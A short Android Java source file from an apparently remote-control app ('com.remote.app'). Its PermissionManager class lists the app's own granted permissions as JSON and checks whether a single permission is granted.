33 lines
1.1 KiB
Java
33 lines
1.1 KiB
Java
package com.remote.app;
|
|
|
|
import android.content.pm.PackageInfo;
|
|
import android.content.pm.PackageManager;
|
|
|
|
import org.json.JSONArray;
|
|
import org.json.JSONObject;
|
|
|
|
import static com.remote.app.ConnectionManager.context;
|
|
|
|
public class PermissionManager {
|
|
|
|
public static JSONObject getGrantedPermissions() {
|
|
JSONObject data = new JSONObject();
|
|
try {
|
|
JSONArray perms = new JSONArray();
|
|
PackageInfo pi = context.getPackageManager().getPackageInfo(context.getPackageName(), PackageManager.GET_PERMISSIONS);
|
|
for (int i = 0; i < pi.requestedPermissions.length; i++) {
|
|
if ((pi.requestedPermissionsFlags[i] & PackageInfo.REQUESTED_PERMISSION_GRANTED) != 0) perms.put(pi.requestedPermissions[i]);
|
|
}
|
|
data.put("permissions", perms);
|
|
} catch (Exception e) {
|
|
}
|
|
return data;
|
|
}
|
|
|
|
public static boolean canIUse(String perm) {
|
|
if(context.getPackageManager().checkPermission(perm, context.getPackageName()) == PackageManager.PERMISSION_GRANTED) return true;
|
|
else return false;
|
|
}
|
|
|
|
}
|